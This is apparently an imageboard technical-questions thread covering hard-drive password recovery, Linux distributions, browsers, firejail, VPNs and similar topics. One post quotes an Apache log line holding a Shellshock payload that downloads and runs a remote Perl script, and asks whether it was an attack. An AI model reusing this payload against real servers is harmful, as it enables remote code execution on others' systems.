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No.32465

This is the technical talk thread, meant for simple questions relevant to the board.

If you have a question that can't sustain a long thread, ask here instead, unless you have a good reason to start a new thread.

As always, research before asking anything.

  No.32468

File: 1481581202695-0.png (10.81 KB, 200x150, HDD password.jpg)

File: 1481581202695-1.png (144.97 KB, 140x200, pcb.jpg)

I found this hard drive in an abandoned house. I think I'm having issues with the firmware.
I've researched some ways to fix this and there are various ways I could do it.

The first one was some software called "hdd_pw.exe", which would generate a password based on the error code. You can find it here: https://tinyurl.com/jtxzfca
Unsurprisingly, this didn't work.
The second option was to update the firmware. The drive is a Seagate Momentus 5400.6 (SN: 6VE6E6CZ), and there is absolutely nothing on the website for this device, except the user manual: https://tinyurl.com/zse5qft
The third way seems to be the one I'll end up trying, which consists of replacing the chip that stores the password. Just a few screws need to be removed and the new part can be installed easily.
What do you think I should do?

  No.32470

>>32468
This is interesting. Update us about whats on there if you don't mind. Probably replacing the chip is your best bet as well. Is the new part available?

  No.32486

Do you have any SEC_ERROR_OSCP_OLD_RESPONSE on Lainchan with Firefox ?

I'm probably not only the one : https://www.ssllabs.com/ssltest/analyze.html?d=lainchan.org

It does not affects Chrome since it don't use OCSP revocation checks but revocation lists. I haven't checked in other browsers.

There was a bug with nginx about this, fixed in 1.9.2 according to changelog:
https://nginx.org/en/CHANGES
WappAnalyzer tells me Lainchan is served by nginx 1.4.6.

  No.32487

>>32470
Yes, there's one for 35 bucks on ebay http://tinyurl.com/zxoy77e
>>32486
That's strange, I just had the same problem.
8h hours ago it was still working tough.

  No.32493

File: 1481641657320-0.png (39.13 KB, 200x134, seagate_boardnumber.jpg)

File: 1481641657320-1.png (81.49 KB, 200x177, changehddpcbbios.jpg)

File: 1481641657320-2.png (246.9 KB, 200x100, uart converter.png)

It's >>32468 here.
So first, for resolving the issue >>32486 had, you must follow theses steps https://www.siteground.com/kb/resolve_the_ocsp_server_has_no_status_for_the_certificate/

Also, I just tried swapping the pcb between two Seagate Barracuda 7200.12 I had, and the result wasn't positive : none of them was able to start.

According to this site (http://www.hddzone.com/conditions.html) even if the serial were matching (see the pic for locating serial on seagate drives), replacing the whole board would cause SMART issues and ticking noises, because the information stored on the chip aren't corresponding anymore to the drive itself.

The way to bypass this would be to follow the steps on the second pic, but it make the whole thing even more expensive.

I know there is other way to do it, like this guy (http://forum.hddguru.com/viewtopic.php?f=1&t=27063), or this guy (https://youtu.be/-PPmbxNAWyg) but it require even more knowledge of the firmware.

I'll let you guys know if I find anything else.

  No.32496

>>32493
>you must follow theses steps
I don't mean to be a dick but lowering browser security is not the proper way to handle what seems to be server issues.

  No.32498

>>32496
I know, thats suck. But if you want to browse the website right now, and with firefox, there's no other way. But can still ask Appleman1234, he might be working on it.

  No.32504

>>32465
Isn't there already a thread for this here: >>26015?

  No.32526

>>32504
yup bud

  No.32576

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File: 1481748754056-2.png (32.34 KB, 200x57, Settings.jpg)

It's >>32493 again, I have some great news.
It turns out one of my friends had a UART converter, so like explained in the previous video, I tried accessing to the firmware CLI trough the serial port.

With the software called RealTerm, I successfully gained access to the command prompt (which wasn't password protected) and reset the SMART cache.
Of course removing the SMART info do not affect the password stored, and I didn't find any command designed for removing it.

Here is the entire commands for the Seagate drives : https://www.itosaka.com/WordPress/wp-content/uploads/2009/07/Seagate-Diagnostic-Command.pdf

There is A LOT of various options, so I haven't read the entire doc yet. I'll try tomorrow.

  No.32604

>>32576
This may seem dumb, but try ATA secure erase. Just hotplug the drive after booting if BIOS isn't letting system start.
https://ata.wiki.kernel.org/index.php/ATA_Secure_Erase

  No.32611

So I recently decided to get an old Galaxy S5 Active, because it seemed like a nice enough phone. Presently, though, It keeps throwing up an error involving "Google Play services" which keeps me from installing a VPN verification app I use for work, since I technically have to get it through the play store.
Alternatively I get the playstore to actually work. I think the problem is presently the device is only 5.0 and AT&T wants it on 5.1.1, but it's saying no update available. I'm thinking the problem is the device was previously rooted, so I wanted to do a full flash and re-install android on it entirely.

So here's my problem: Where the hell do I get the ROM I need for this particular model of phone to do that? I've looked and looked and I can't find anything that even looks vaguely reputable.

  No.32614

Technology, but also business.

I found myself managing a help desk. I am responsible for the performance of 12 ~22-year-olds in terms of supporting 1500 staff. We have other departments to escalate to, but we still do a good share of technical work. It's not a permanent job but is at least challenging.

Does anyone have experience with this or have resources I could learn from? I'm already doing fine but would like to know any way to improve.


  No.32628

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File: 1482025474357-1.png (352.15 KB, 200x66, private-group-walking-tours.jpg)

>>32615
I had looked at that, and the site that it took me too was kind of sketchy. The mirrors are in Canada, which takes forever in the first place, second of all it always shows up funky when I try to run a virus scan on the file that does download, so I was hoping for a more reputable source.

  No.32638

My laptop has some unused media keys. I've bound one to immediate screen blanking, but now my creativity has run out. What do I bind the rest to?

  No.32649

>>32638
I tried binding my media keys but it didn't work. Most of them just open/do what they were meant for

  No.32695

Lains, quick Sed noob question.
I'm trying play the contents of a folder in CLI module music player. And since it doesn't support queuing whole folders, i have to pass every file path to it as argument, separately. Doing so manually would be pretty stupid, so i came up with following toolchain:

dir/s/b/W *.it | tr "\r\n" " " | sed ??? | xargs | ompt123

Basically, what it does is, DIR lists out the paths to every Impulse Tracker file in the given folder. These are separated by newline, so i pipe this into tr, to replace them with spaces, to get a nice one liner list. The last problem is, they are unquoted, which breaks things, especially when there are spaces in the paths themselves (Windows ugliness). I'm a complete noob at sed, so i'm clueless as to how achieve this.

(Yeah, i'm on Windows, but i have most of standard GNU CLI tools at my disposal)

  No.32696

>>32695
>The last problem is, they are unquoted, which breaks things, especially when there are spaces in the paths themselves (Windows ugliness).
Considering that you have the filenames separated by newlines, why not quote each line and then split it?

This will still break when the filenames have newlines, but is a nice patch until I or someone else can give better advice.

I don't do any scripting like this; I'd write an actual program in a more practical language to call this ompt123 with the proper arguments.

  No.32698

Oh, thanks lainon, it solves the problem :3

  No.32699

>>32695
I'd do it with a loop.

{ for f in *.it; do do printf '\"%s\"\n' "$f"; done } | ompt132

Is there a reason why you have the xargs in there?

  No.32700

>>32699
s/do do/do/

  No.32702

>>32699
Yeah, OpenMPT123 accepts files to be played passed only as arguments, separated by spaces, not through stdin

  No.32705

>>32702
Ah, right. You'll probably wanna remove the pipe between it and ompt then.

  No.33071

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What advantages are there of using CentOS over RHEL? I only ask because I am really trying to argue cost vs effectiveness on our server migration at work. They're hard-headed and really believe that paid == good, when CentOS is basically just RHEL without the branding.

Also, are the packages the same as the upstream RHEL or are they slightly modified?

  No.33096

>>33071
CentOS is RHEL without the paid support from red hat. What you are paying for is basically the enterprise level support that you can get from microsoft/apple/whomever your vendor is. Their packages are almost exactly the same with only slight differences in configuration that wont really matter except for very specific workloads.

  No.33134

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I found this in my apache access log
5.88.139.7 - - [03/Jan/2017:06:48:07 -0500] "GET / HTTP/1.0" 403 389 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""
Is this a shellshock attempt ? Are there even shellshock vulnerable servers left in this day and age ?

  No.33153

I want to broaden my knowledge of telecom (e.g. GSM/EDGE & WCDMA) and IP systems.
Where could I start?
With programming it's simple enough to look for tutorials or books but this?
I either get a simplified video on how there is a server and a mobile phone, or an overly complicated technical and very specific book.

  No.33161

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Does anyone know of any up-to-date guides to setting up bridged networks with QEMU/KVM? I have GPU passthrough to my VM done, just kind of useless without the networking functionality.

  No.33263

So I'm sort of new to firejail (not new enough not to know how to use it) but I have a question about it. If each firejailed application has it's own view of the filesystem, how come I can use VLC firejailed while pulseaudio isn't? Does this mean that firejailed applications can by default interact with other processes and applications? For instance, if I firejail tor browser, applications (e.g.: an irc client) cannot access it to route their traffic through the tor network, but if I firejail the irc client, it can route it's traffic through the tor network because it can interact with the tor process. How does this work exactly? Is it possible to make a firejailed process that cannot interact with anything else? If so, would this break some functionality (eg: a gui program not being able to interact with the x server)?

  No.33264

>>33263
well, there's a couple reasons.

First, firejail only blocks certain things. Important directories, like .ssh and .gnupg, are off-limits to all applications that don't need them, but by default you can use Downloads from almost any application. To change this, use the --private flag.

Second, vlc has a default profile in /etc/firejail, and pulseaudio does not. That means that pulseaudio is using the default profile, which is pretty restrictive.

  No.33314

I've found this:
The Harvard architecture is a computer architecture with physically separate storage and signal pathways for the code (instructions) and data. Today, most processors implement such separate signal pathways for performance reasons but actually implement a Modified Harvard architecture,[citation needed] so they can support tasks like loading an executable program from disk storage as data and then executing it. Harvard architecture is contrasted to the Von Neumann architecture, where data and code are stored in the same memory which is read by the processor allowing the computer to execute commands.
(https://en.wikipedia.org/wiki/Machine_code#Storing_in_memory)

on Wikipedia today, and was like
>WTF actually?
Assuming it's referring mostly to x86 CPUs, since it's the most proliferated architecture, and x86 was always adhering to a pure Von Neumann scheme. How come Wikipedia states otherwise?

  No.33315

>>33314
Forgot to greentext the Wiki citation, autosage

  No.33316

>>33314

Nevermind, false alarm, it looks like it referred to the fact that CPU internally separates code and data into two types of cache memory: https://en.wikipedia.org/wiki/Modified_Harvard_architecture#Modified_Harvard_architecture

Also found this nice site http://ithare.com/modified-harvard-architecture-clarifying-confusion/

  No.33324

I'm looking for a different kind of mobile phone review site: a site that does reviews of older phones (say, 12+ months old) with a focus on reliability.

I need a new-to-me phone, but I don't need fancy new features, and I want to avoid becoming the next victim of widespread just-out-of-warranty phone bootlooping/randomly-rebooting/exploding-battery/constantly-drop-signal/etc problems.

  No.33390

File: 1484075849153.png (4.35 KB, 200x200, 2x2_Costanza.png)

Couple questions: (All of which I have already done a ton of Googling on)

• Will 8Ω speakers kill my motherboard's integrated audio (ALC1200) if I attach them without an amp?
• What is a !!CHEAP!! USB ADC that supports Linux? (16/48 is plenty resolution)
• Is it even possible to acquire an SXGA (or better) CRT in 2017 without selling your firstborn?

  No.33391

>>33263
>If each firejailed application has it's own view of the filesystem, how come I can use VLC firejailed while pulseaudio isn't?
Because VLC has access to /run/user/$UID/pulse and thus can connect to your audio server
>Does this mean that firejailed applications can by default interact with other processes and applications?
Yes. Though, I think it does block dBus by default (which causes issues with Steam, but solves a few with Skype)
>For instance, if I firejail tor browser, applications (e.g.: an irc client) cannot access it to route their traffic through the tor network
>but if I firejail the irc client, it can route it's traffic through the tor network because it can interact with the tor process.
>How does this work exactly?
Not sure. Probably because it stops the Tor browser from creating the socket for other programs to use?
>Is it possible to make a firejailed process that cannot interact with anything else?
Yeah, I mean it's hard to define this "anything" on a system as complex as most modern OSes, but you could probably block pretty much every major API.
>If so, would this break some functionality (eg: a gui program not being able to interact with the x server)?
You would need to allow it access to the X server, and any libraries it needs, and many programs rely on being able to write to /tmp, but you could theoretically lock it down nearly as far as a VM.

  No.33392

>>32638
Programs you use a lot, tbh

  No.33662

So um, I'm not familiar to the bittorrent protocol at all, and I'd rather not pay for a VPS when I have a home server. Can my ISP see my bittorrent traffic if I force deluge to use encryption on all connections? I'm guessing it would just show up as ssl encrypted TCP packets, correct?

  No.33663

>>33662

Yes but the endpoints aren't encrypted. The traffic "shape" is also rather telling (dht traffic that is). So a tracker will still be referenced by IP. And your IP address is also exposed to other torrenters, some of them being the DMCA goons that collect information while only serving 1% of the file to others. They see who comes around to collect their content and log the IP's and then issue DMCA notices to the ISP. So, even then the ISP doesn't have to know you're using bittorrent. The media goons are doing all the heavy lifting.

  No.33670

>>33663
So if I for were to use a private tracker for instance I wouldn't have the DMCA problem, correct? And I guess not using DHT and peer exchange because of the fact I'm using a private tracker wouldn't make all that much a difference, right?

  No.33671

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I recently subscribed to a new ISP offering FTTC VDSL connection (17a profile, "soon" to be upgraded to 30a).
Unfortunately they provided me with a very low end technicolor modem/router. It doesn't support the 30a profile, feature a terrible wlan card and is generally pretty slow and lacking in features. Even worse than that, it's a branded router and the ISP can (and sometimes did) push shady firmware upgrades without my consent.

So I was planning to buy a new device. Problem is that often I hear people discouraging buying modem/router combo devices in favor of separate modem and router solutions, sometime disregarding the hybrid devices as low quality products not worth their money.

Now, my home network is quite simple (a few clients, both wired and wireless, and a simple home server), so I was always pretty satisfied with router/modem hybrid solutions. Should I keep going with the modem/router device or is the separate solution a better investment?

  No.33673

>>33671
Seconding this, I also have a soykafty router/modem device right now from my ISP that takes over 5 minutes to boot and breaks ever so often. I found a decent router rather easily but DSL modems elude me, they always seem to be routers or some thing in between. I also need a phone jack on it.

  No.33711

Does Airplane Mode on an iPhone actually kill wireless communication (ie cellular signals) or is there still wireless communication?

  No.33732

File: 1485038059601.png (1.25 MB, 200x113, i have no idea.png)

No idea what Im doing wrong. Just trying to install lighttpd on GNU/Linux Mint

  No.33740

>>33732
Actually fixed it. It was a bad perl-base package. Fixed it by going into my /etc/apt/preferences.d/official-package-repositories.pref and set it up for the official Ubuntu repository

  No.33742

I'm attempting to make a XP-era notebook an usable Linux web browsing and light coding machine (my main computer finds Linux disagreeable on a hardware level). However, it's running an Intel Atom Z520 which means it basically maxes out if I have a browser open. Both Firefox (and to a slightly lesser extent Midori) are unreasonably slow and laggy to do basic things, and I'm wondering if there's any middle ground left between Links and Webkit-based browsers.

  No.33747

>>33742
>>33742
dillo browser might be worth a try

  No.33748

>>33742
>However, it's running an Intel Atom Z520 which means it basically maxes out if I have a browser open.
It shouldn't be that bad. I have an old netbook with an Atom N270 (appears to be pretty much the same except with a max clock of 1.6 GHz instead of 1.33 GHz) and it's still quite usable even when throttling it to 1.33 GHz (loading this page only took about 6 seconds). I personally use Pale Moon as my browser. Also, for getting more performance don't use an adblocker if you're using uMatrix, they're pretty redundant if you're running strict rules in uMatrix and the difference in performance when running both can be quite noticeable. There really isn't much available for lightweight browsers that still support JS, so if you want lighter than Pale Moon you're going to be stuck with options like Dillo or Links in graphic mode (I personally prefer the later as Dillo sometimes has rendering problems). Links in graphic mode should run well on basically anything that can run Linux and can display graphics.

As a side note, if you want to watch videos on Youtube I would highly recommend downloading them with youtube-dl or streaming them to an external player instead of using the browser based player as that can make a big difference in performance.

  No.33760

I want to build android for my device and I decided to prepare the build environment into a chroot container (using systemd-nspawn), mostly because I don't want to install certain required packages on my host system (i.e. the multilib version of gcc).
Am I supposed to run everything as root into the container? As far as I know that's not really a safe thing to do.

  No.33770

>>33742
try netsurf, it has JS support now. If you don't need JS, try dillo, although I woudn't see reason to use it instead of Links.

  No.33771

>>33760
Why do you want to build it on chroot? It don't make sense. It make even less sense if you run it as root.
If you want it to be safe compile it on an airgapper computer. For example, download debian live (do the checksum) and remove the ethernet cable from your computer.
If you really want to do it in a sandbox, for no reason, then try something better than chroot. Chroot is deprecated, you could just use capsicum or just a VM (see Qubes OS).

  No.33781

>>33748
>>33770
Netsurf runs very well but can't render certain sites. Pale Moon with uBlock seems to be the best middle ground on performance versus usability, in that I can multitask with it without waiting 5 to 10 seconds to switch tabs.
As far as Youtube goes the sound card on this thing appears to have been abused more than the GitS IP when they cast Scarlett Johannson so I'm probably not going to do too much video streaming if I can help it. Though the port may just be gunky. These things are hard to disassemble.

  No.33789

>>33771
Probably I explained myself poorly.
I'm not looking into chroot containers for safety reason but to make "customized" building environment.
For example, for android, I have too install the multilib version of gcc, which conflicts with the x64 version I've installed on my system and replacing it with the multilib version is not an option for me (it would break a lot of other things).
Software like docker/systemd-nspawn allow me to easily create chroot containers where I can install all the building dependencies related to a certain project without having to clutter my "host" system with potentially conflicting deps or tons of otherwise unneeded packages.
So I made a nspawn container with a very basic installation of arch, plus all the required dependencies to build android.
My problem is that in this setup a lot of things are running as root. I tried to create an unprivileged user in the "chrooted" system which I would use for the building process, but I often incur in various errors.
I was finally successful some hours ago, but sometimes I still get strange errors about denied permission to read some libs when I install something in the chroot container or a "wrong database version" error when I try to use some of the package manager's features with the unprivileged user.

So, in the end, my question is: am I doing something wrong? I know that a lot of disto compile their packages in a clean chroot in order to prevent dependencies issues so it should be a normal procedure, yet I am struggling to set it up correctly.

  No.33966

So, I have a live system installed in a 32 GB up drive, with only ~2 GB in use.
I'm trying to backup the entire drive with dd running:
dd if=/dev/sdc bs=30M conv=sync | pixz > pendr.ddimg.xz
Which gives a 15 GB compressed file. Isn't that a bit too much considering it's mostly empty? I remember getting way better compression ratios the last times I ran that command.

  No.33967

>>33966
> up drive
usb drive

  No.33974

My current debian installation won't connect to wlan, it has it's proper drivers and all

Also, it has a soykafton of borken packages i couldn't repair because of this wlan issue, any help?

  No.33979

>>33974
Try using an ethernet or other reliable connection to upgrade your packages and troubleshoot.

This is a common issue. I recently had to compile drivers for my hardware in Debian, purely because it doesn't include them, even though the drivers are Free Software.

  No.33980

>>33974
>>33979

The other thing is that i don't have a home internet connection, currently, i'm using my neighbor's wifi.

Yep, is more difficult than it seems

  No.34035

File: 1485866088160.png (2.37 MB, 200x95, serveimage.jpeg)

Some time ago (4weeks) my Xerox Phaser 7800 printer gave me a green screen of death on boot... just hung at the first logo image.

So I thought it was gonna be hell to fix - so much propitiatory!

Turns out (along with most pro level Xerox laser printers) they are basicly linux PCs inside - (N.b. can someone hack the FW so my printer don't print the security dots? :) - long story short - if you have a GSOD on a xerox - its most probably the HD... You have to replace with a Xerox HD or your fuarrrked! - Good news is Clonezilla to the rescue! - clone drive and repair, then relay the drive image back, and bam working printer! - Now I also have an image of the drive so in future if the drive totally fails I can just buy a cheep 160GB laptop drive and lay on the original disk image I now have!

Pro tip - If you have a big xerox printer, make a disk image now - before you need it!

  No.34070

What's the difference between linux distros, lain?
For example, when i was using Debian i never had a problem with system stability, not once did i have to nuke everything from orbit because the system wouldn't boot.

I'm using fedora now and things just don't work for more than a week. I've been using it for about three months and i've had trouble with audio, video, wifi adapter, i3wm stopped working this morning out of the blue, GNOME often breaks, etc..What's the deal? I thought a distro was just a set of default features, and the biggest difference was the package manager.

When i try to play x-com 2 for example, it says that "my distro is not compatible", but what exactly is it that's not compatible? I'm using the same driver for my video card.

  No.34073

>>34070

The only thing common in a linux distribution is its kernel. The actual software blocks can be anything, and the end user is assured by the distro maintainer that all the distro's software is compliant and compatible with each other.

Distributions like Debian and CENTOS are known for their stability because they use things known for years (even decades) that work together without issue, and everything is heavily vetted. As a result, development is relatively slow and featureless in comparison to other distributions. For example, Fedora is meant to be one of the most forward thinking feature filled distributions out there, and as a result it isn't too stable and craps out on things the project claims to support. This more or less holds for all distributions not aiming for rock solid stability or supported by a capable company.

So to answer "What gives?" I have no fuarrrking clue. But hopefully I've helped you understand the differences under the hood.

  No.34091

How to go about removing webcam and microphone from laptop? They are located in the screen frame. Would just opening it up cause me to break the screen or something? or can I just open it up, take the soykaf out, and snap it back together?

  No.34092

>>34091
What laptop? Unless it's one of those terrible HPs or a newer Mac you should be able to open it up, unplug what you don't want, put it back together in an afternoon.

  No.34093

>>34070
>>34073
This sounds super meme-y because of how often people copy pasta "I'd like to interject..." but it's actually relevant here.

Linux == kernel
GNU == OS

Nowadays people use "Linux" to mean GNU/Linux hence some confusion here. A "Linux distro" is a different set of the GNU software running your operating system.

For something pretty low level, like a minimal arch install vs a minimal Debian install >>34070 you're right in that the only major differences should be the package managers (and init systems before everything went systemd, which is a good thing) but distros have a lot of other stuff built in to them now and things are super complicated.

I don't pretend to understand most of the differences with things now, but there are all sorts of high level executive decisions made by each distro's maintainers about how to build the OS software.

having xcom tell you "distro not compatible" Is probably the game having a list of "approved" distros that the devs have tested it on, and your distro isn't whitelisted. Try googling around to disable that message, you should be fine.

  No.34096

>>34092

Its a thinkpad T series

  No.34109

>>34096
Very easy. Look up the manual and/or a youtube video of the breakdown. Thinkpads are the best in terms of being able to dismantle and reassemble.

  No.34124

Wanna reinstall Windows tomorrow, which Embedded to pick?

  No.34128

>>34127
> Muh Security, Muh Freedoms.
> I tried to install Wine
... ... ...

  No.34232

Dear lain

today I experimented with hardware and connected - after a moment of hesitation - the power connector to a harddrive while the computer was already running.
I heard a spin and then the hardrive started ticking. It hasn't stopped so I opened the drive. The reading pin moves up and down constantly and hits the inner center which generates the ticking sound.

Apparently the drive is looking for a starting sector or something but won't find it.
Is there an easy fix for that?
Can I still read out the stored data somehow?

  No.34234

>>34232
Okay I researched and many people suggest the freezing trick and telling that the hard drive "failed".
But I want to know what exactly failed. Was it the sudden electrical current spike that made the drive turbo spin and break something?

Also apparently I shouldn't have run it with the open lid lel

  No.34248

>Self hosting a VPN
Is there any reason not to install OpenVPN on my own VPS and use it instead of paying more for a regular VPN service?

  No.34250

>>34248
depends, why do you need a vpn?

  No.34253

>>34250
Mostly for the security and the slight increase in privacy. I also like to seed alot of torrents to give back to the community.

  No.34255

>>34253
uhm, I don't think you would have any privacy improvements since you are just "passing" the trust from your isp to your vps provider (how do they answer to copyright enforcement notices? does it show your name/info if I run a whois lookup on your public ip?), but in general the trust issue is present for vpn providers as well (https://gist.github.com/kennwhite/1f3bc4d889b02b35d8aa).
But if you need it for security (i.e. connecting from a public or not really trusted network) or to circumvent censoring from your isp then it's fine.

  No.34281

on my laptop trying to install a different OS because I remembered how much i HATE DEBIAN. I can't get it to boot from usb anymore. Used the DD command "dd bs=4M if=/home/michael/Downloads/antergos-minimal-17.2-x86_64.iso of=/dev/sdb1" did i fuarrrk it up? It doesn't show as a usb on unetbootin.

  No.34284

nvm i did it correctly this time

  No.34297

Firefox, Dolphin and Terminator start automatically at the startup.
I already checked my xinitrc, bashrc, i3config and found nothing.
Any ideas why?

  No.34321

File: 1486427442046.png (58.93 KB, 200x142, 20170207_012845.png)

>>34297
Kde I suppose.
systemsettings>startup and shutdown
check that "on login" section

  No.34355

File: 1486495050866.png (71.4 KB, 200x107, folder-to-manually-install-fonts-on-ubuntu-linux.png)

Asking about removing fonts in Mint 17...
So I have a font installed but want to remove it - I just installed from the front viewer, by pressing the install button... how do I remove it?

I tried to look for it in "usr/share/fonts/truetype" but it is not there? What do - is there a (ah-hem*) a gui method for this? - But totally willing to command line if needs be... all be it at a basic level.

Thanks in advance...

  No.34368

>>34355
I suppose from your picture that you already looked in the ~/.fonts/ directory?

If you really need a graphical method you could try this:
http://askubuntu.com/questions/371213/how-to-delete-fonts-in-ubuntu
https://community.linuxmint.com/software/view/font-manager

If that still doesn't work try to search for the font file, life for example:
find -name "roboto"*
to search in your home directory, or
find / -name "roboto"* 2>/dev/null
to search in the entire filesystem

  No.34370

File: 1486516635431.png (29.11 KB, 200x161, images.duckduckgo.com.jpeg)

>>34368
>~/.local/share/fonts, because it's the folder used by install feature of Font Viewer.

Was the ticket - thanks for the links!
Also I like the font manager as a bonus too... nice.

  No.34428

>>34321
Thanks lainon!
Removed all KDE-Soykaf

  No.34570

>>33974
If you want to solve this problem easily stop using a "muh freedumz" distro and just install arch wireless will work fine.

But you didn't explain anything about your setup so it's hard to troubleshoot but first check to see if the correct drivers are being loaded with systemd, and make sure that rfkill isn't blocking it hard or soft block.

Come back if the correct drivers are installed and loaded and rfkill is neither hard or soft blocking the device.

  No.34748

>>34255
You're passing the trust from your ISP, who can do whatever the fuarrrk they want because you have no recourse except going offline, to an actual business who will face consequences such as lost business if they screw over their customers.

  No.35045

I'm still way too addicted to Youtube and was wondering if there was a way to keep up with the channels I'm subscribed to without being logged in or Google knowing what my interests are. Kind of like a Youtube proxy or something. I've done a little research but nothing really useful came up.

  No.35058

>>35045
Three letters: RSS
added three letters to make your experience better: mpv
(As default browser)

  No.35060

>>35045

I recently started feeding mine into my podcatcher using podsync. It breaks a couple feeds (haven't looked into why) but it's worth it because you can subscribe to single playlists, which is useful for channels that dilute their content.

  No.35069

>>35060
Probably happens with small channels right?
I think it had to do with youtubes link formats.
Using the XML refer link for channels fixed it for me.

  No.35242

i know this sounds stupid, but is there some sort of lain-approved irc guide? i could just get a client and jump in and learn that way, but i'd like to make sure i set up everything correctly and securely. irc always seemed sort of intimidating to me, so i never got involved when i was younger and now i feel dumb for being afraid of it.

  No.35271

>>35242
I'm in the same boat here, Lainon. Never joined an IRC before but I'd like to. LainWiki 2.0 seems like the perfect place for that kind of introduction article/tutorial.

  No.35298

>>33390
With regards to speakers... I dont know if your MB has amplified output? 5/10W or so?
If so 8 ohm speakers would be ideal - that is the most common speaker rating - I don't think I've ever seen an amp (outside of valve) that can't drive 8 ohm speakers.

If you are just talking about plugging them into your Audio out jack, then they will not damage anything but will have such a low output that you might plug the headphones in to get it louder!

  No.35299

>>32486
I've acquired an old laptop..and well, basically, its' native resolution is a bit low for me. The fuarrrkhueg letters are a pain in the arse - not to mention that every single site out there is designed with high-res screens in mind.

I'm running Windows 7 on a Latitude D610, FYI.

  No.35300

>>35299
Also, slightly less immediate, but also troubling, is the fact that no software like f.lux or redshift can do its' job. There's no tinting to be seen at all.

I'm running XP on my main machine, and well, perhaps there's something; some setting I need to change?

  No.35337

File: 1489010748119.png (109.04 KB, 200x177, Linux_Condom.jpg)

I have a 5T external HDD formatted for ext4 I use for backups and data hoarding. 250G of the 5T is reserved sectors. As I understand reserved sectors are reserved for the root user (and the file system journal?), does a drive that isn't in constant use and doesn't even have an OS installed need any?

  No.35526

>>35337
I wouldn't think so. I removed it from partitions containing non-system data.

  No.35629

File: 1489764620554.png (20.03 KB, 200x150, 1481916163390.jpg)

Hello, anons
I am going to make some WordPress sites for me and friends and I was looking for a good shared host. I dont have any experience with hosting, so I was looking for a host that meets my demands. I am starting with at least 5 different websites, each having ~50 visits a day. Let's Encrypt is a must-have for me.
The ones that I think would be fit is 1984host or SiteGround.

https://1984hosting.com/
https://www.siteground.com/
Any opinions?

  No.35663

>>35629
if you're okay with doing the web design yourself, try neocities.org

  No.35746

>>35663
Different anon, is there anything else like neocities? I quite like it but it does only allow for a single website, is there anything that gives you a few more domains, even if they're not 100% custom?

  No.35756

File: 1490037375738.png (45.15 KB, 200x125, 1480256623150.png)

Hello, I was wondering what you anons would recommend as a solution to using an external hard drive between computers with different file systems. I currently use a desktop with ntfs, a laptop with whatever the apple filesystem is called now, and ext4. Thanks for any help in advance!

  No.35758

>>35746
It's 1 site per account because it's for small personal, original websites.
>>35756
a NAS. If you want an ultra-cheap solution you could use an SBC, the odroid C2 is a decent one.

  No.35760

>>35758
What advantages does the odroid have over the raspberry pi? Would you recommend a raspberry pi for a NAS? Its really just that the pi is a bit easier for me to get my hands on.

  No.35789

>>35760
Would you recommend a raspberry pi for a NAS?
No one would, the USB/Ethernet share the bus which makes it an impossibly slow piece of soykaf. The other reasons you can find out by searching.

  No.35800

>>35789
i would recommend running security onion your pi before a NAS

  No.35881

>>34073
>featureless in comparison to other distributions
Could you elaborate a bit? I made the full jump to linux a little while ago and I have things mostly working the way I want them on my debian install but I feel a little bit bored with it. What am I missing out on?

I'd like to try a bleeding edge distro but I gave fedora a try a few months ago and I wasn't really a fan of having things break on me, I'm guessing this means I probably wouldn't enjoy arch. Would manjaro be a better compromise for me?

  No.35890

What userscript do lains use for lainchan? pashe's 8chan port is outdated. I would really like a thread watcher, and don't understand why isn't it available natively

please advise

  No.36040

Lains, please throw me some Linux distributions that are able to run on hardware without PAE and in 32-bit mode.

Also on somewhat related note, are there any security implications (for the host system) of PAE enabled and exposed to VM?

  No.36210

File: 1491445800246.png (63.79 KB, 200x150, windows-98.jpg)

I'd like to make my Mac's GUI look like windows 98 or some other old OS. Is there any method to make that happen?

  No.36274

>>36210
As far as i can say - no. You can't change a lot in mac.